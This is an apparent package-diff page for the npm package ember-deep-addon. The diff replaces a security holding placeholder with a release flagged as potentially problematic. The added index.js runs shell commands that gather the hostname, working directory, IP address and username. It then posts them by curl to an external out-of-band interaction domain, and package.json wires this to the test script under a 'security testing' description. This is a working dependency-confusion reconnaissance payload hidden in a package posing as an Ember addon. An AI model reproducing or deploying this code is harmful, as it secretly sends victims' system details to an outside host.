ember-deep-addon 0.0.1-security → 6.6.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ember-deep-addon might be problematic. Click here for more details.
- package/index.js +69 -0
- package/package.json +22 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
|
4
|
+
function sendPingback(data) {
|
5
|
+
|
6
|
+
const collaboratorUrl = "https://rxthgpisbdduguomjwmilyqcfzyn1779r.oast.fun";
|
7
|
+
|
8
|
+
exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
|
9
|
+
|
10
|
+
if (error) {
|
11
|
+
|
12
|
+
console.error(`Error: ${error.message}`);
|
13
|
+
|
14
|
+
return;
|
15
|
+
|
16
|
+
}
|
17
|
+
|
18
|
+
if (stderr) {
|
19
|
+
|
20
|
+
console.error(`Stderr: ${stderr}`);
|
21
|
+
|
22
|
+
return;
|
23
|
+
|
24
|
+
}
|
25
|
+
|
26
|
+
console.log(`Pingback sent: ${stdout}`);
|
27
|
+
|
28
|
+
});
|
29
|
+
|
30
|
+
}
|
31
|
+
|
32
|
+
|
33
|
+
function executeCommand(command) {
|
34
|
+
|
35
|
+
exec(command, (error, stdout, stderr) => {
|
36
|
+
|
37
|
+
if (error) {
|
38
|
+
|
39
|
+
console.error(`Error: ${error.message}`);
|
40
|
+
|
41
|
+
sendPingback(`Error executing command: ${error.message}`);
|
42
|
+
|
43
|
+
return;
|
44
|
+
|
45
|
+
}
|
46
|
+
|
47
|
+
if (stderr) {
|
48
|
+
|
49
|
+
console.error(`Stderr: ${stderr}`);
|
50
|
+
|
51
|
+
sendPingback(`Stderr: ${stderr}`);
|
52
|
+
|
53
|
+
return;
|
54
|
+
|
55
|
+
}
|
56
|
+
|
57
|
+
console.log(`Command output: ${stdout}`);
|
58
|
+
|
59
|
+
sendPingback(stdout); // Send the command output to the collaborator
|
60
|
+
|
61
|
+
});
|
62
|
+
|
63
|
+
}
|
64
|
+
|
65
|
+
|
66
|
+
// Example: Execute a command (e.g., 'whoami')
|
67
|
+
|
68
|
+
executeCommand('echo "Hostname: $(hostname), Directory: $(pwd), IP Address: $(hostname -I | awk '{print $1}'), Username: $(whoami)"');
|
69
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,25 @@
|
|
1
1
|
{
|
2
|
+
|
3
|
+
|
2
4
|
"name": "ember-deep-addon",
|
3
|
-
|
4
|
-
|
5
|
-
"
|
5
|
+
|
6
|
+
|
7
|
+
"version": "6.6.1",
|
8
|
+
|
9
|
+
|
10
|
+
"description": "A simple package to trigger Burp Collaborator for security testing",
|
11
|
+
|
12
|
+
|
13
|
+
"main": "index.js",
|
14
|
+
|
15
|
+
|
16
|
+
"scripts": {
|
17
|
+
|
18
|
+
|
19
|
+
"test": "node index.js"
|
20
|
+
|
21
|
+
|
22
|
+
}
|
23
|
+
|
24
|
+
|
6
25
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ember-deep-addon for more information.
|